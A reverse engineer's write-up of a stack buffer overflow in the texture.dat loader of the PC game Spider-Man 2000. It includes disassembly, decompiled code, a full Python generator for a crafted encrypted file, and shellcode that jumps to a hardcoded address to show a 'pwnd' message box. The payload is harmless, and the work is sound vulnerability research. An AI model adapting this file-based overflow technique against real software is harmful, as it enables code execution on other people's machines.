Exploiting: Spiderman 2000 - Buffer overflow in file loading routine
Background
At the end of this year(2019) I decided to completly reverse engineer the game Spider-Man 2000 for the PC in order to be able to fix all of its problems and possibly port it to more architectures and OS(es).
During my second stream I was working on the routine that loads the file texture.dat
and noticed that the buffer not only in allocated in the stack but there's no boundary check.
texture.dat
is a file that exists in the game's directory and apparents to be useless since the lack of it doesn't cause any harm to the game or experience.
The vulnerability
sub_5163E0
calls sub_516250
to load texture.dat
and passes a local variable as a buffer.
int __cdecl sub_5163E0(char *a1)
{
int v2; // [esp+0h] [ebp-224h]
int Buffer; // [esp+4h] [ebp-220h]
char v4; // [esp+8h] [ebp-21Ch]
char v5; // [esp+Bh] [ebp-219h]
int v6; // [esp+24h] [ebp-200h]
if ( a1 )
*a1 = 0;
if ( !sub_516250(&Buffer, aTextureDat) )
return 2;
(...)
}
As can be seen below, this buffer only has 0x220
bytes.
.text:005163E0 Buffer = dword ptr -220h
.text:005163E0 var_21C = byte ptr -21Ch
.text:005163E0 var_219 = byte ptr -219h
.text:005163E0 var_200 = dword ptr -200h
.text:005163E0 arg_0 = dword ptr 4
.text:005163E0
.text:005163E0 sub esp, 220h
.text:005163E6 push esi
.text:005163E7 mov esi, [esp+224h+arg_0]
.text:005163EE test esi, esi
.text:005163F0 jz short loc_5163F5
.text:005163F2 mov byte ptr [esi], 0
.text:005163F5
.text:005163F5 loc_5163F5: ; CODE XREF: sub_5163E0+10?j
.text:005163F5 lea eax, [esp+224h+Buffer]
.text:005163F9 push offset aTextureDat ; "texture.dat"
.text:005163FE push eax ; lpBuffer
.text:005163FF call sub_516250
.text:00516404 add esp, 8
.text:00516407 test eax, eax
.text:00516409 jnz short loc_516415
.text:0051640B mov al, 2
.text:0051640D pop esi
.text:0051640E add esp, 220h
.text:00516414 retn
Here's the relevant part of the loading:
LPVOID __cdecl sub_516250(LPVOID lpBuffer, char *a2)
{
(...)
v9 = CreateFileA(Filename, 0x80000000, 1u, 0, 3u, 0, 0);
v10 = v9;
if ( v9 == (HANDLE)-1 )
return 0;
v11 = GetFileSize(v9, 0);
v12 = v11;
//The only check it does is wether the number doesn't have the last 2 bits set and if it's bigger than 4
if ( v11 < 4 || v11 & 3 )
{
CloseHandle(v10);
return 0;
}
ReadFile(v10, lpBuffer, v11, &NumberOfBytesRead, 0);
CloseHandle(v10);
if ( NumberOfBytesRead < v12 )
return 0;
*(_DWORD *)lpBuffer = v12 >> 2;
//Returns an array of size 0x190 that contains the decryption key
v13 = sub_4FC230();
v14 = v12 - 4;
v15 = 0;
//Decrypts texture.dat
if ( v14 )
{
do
{
*((_BYTE *)lpBuffer + v15 + 4) ^= v13[v15 % 0x190];
++v15;
}
while ( v15 < v14 );
}
return lpBuffer;
}
Having a texture.dat
of size 0x224
is enough to trigger the vulnerability.
Exploiting
NOTE: All the code for the generator is available in my spidey-tools
repository.
Out of the 0x224
bytes the first 4 are dedicated to the file size and last 4 to the jump address. So that results in 0x21C
for the shellcode which is more than enough for a simple PoC.
texture.dat generator
The script creates a list that latter is converted to a bytearray
and then dumped to disk.
The way the list is generated is as follows:
- Creates 4 dummy bytes
- Adds the shellcode
- Adds the string "*Game has been pwned":
- Adds dummy bytes until
0x220
is reached - Adds the jump address
Finally it is encrypted(XOR is symmetric) and then dumped to disk.
Code:
byt = open("xor_key.bin", "rb").read()
final = "\x00\x00\x00\x00\x6A\x00\x6A\x00\x68".encode()
final = [e for e in final]
final.append(0x26)
final.append(0xFC)
final.append(0x19)
final.append(0x00)
final.append(0x6A)
final.append(0x00)
final = [e for e in final]
final.append(0xB8)
final.append(0xC8)
final.append(0x59)
final.append(0x51)
final.append(0x00)
final.append(0xFF)
final.append(0xE0)
pwn_str = "Game has been pwnd\x00".encode()
for e in pwn_str:
final.append(e)
while len(final) != 0x220:
final.append(0x61)
final.append(0x14)
final.append(0xFC)
final.append(0x19)
final.append(0x00)
final = bytearray(bytes(final))
for index,_ in enumerate(final[4:]):
final[4+index] ^= byt[index%0x190]
with open("texture.dat", "wb") as f:
f.write(final)
The string with the hex characters - \x00
- must respect the utf-8 encoding. That caused lots of problems, that the string \xB8
would be converted to \xC2\xB8
, that is why I split the logic.
Shellcode
Since this exploit has a lack usefulness I decided to keep it simple and just spawn a MessageBox
.
Here's the full shellcode:
6A 00 | push 0 |
6A 00 | push 0 |
68 26FC1900 | push 19FC26 | 19FC26:"Game has been pwnd"
6A 00 | push 0 |
B8 C8595100 | mov eax,spideypc.5159C8 |
FFE0 | jmp eax |
The address spideypc.5159C8
contains a call to MessageBoxA
followed by a _exit(1)
which was perfect for this case.
Result
Video of process
If you're interested in seeing how this process unfolded then you can watch the two VODs.
Here I stumbled upon the problem but don't go super deep:
Stream dedicated to developing the exploit: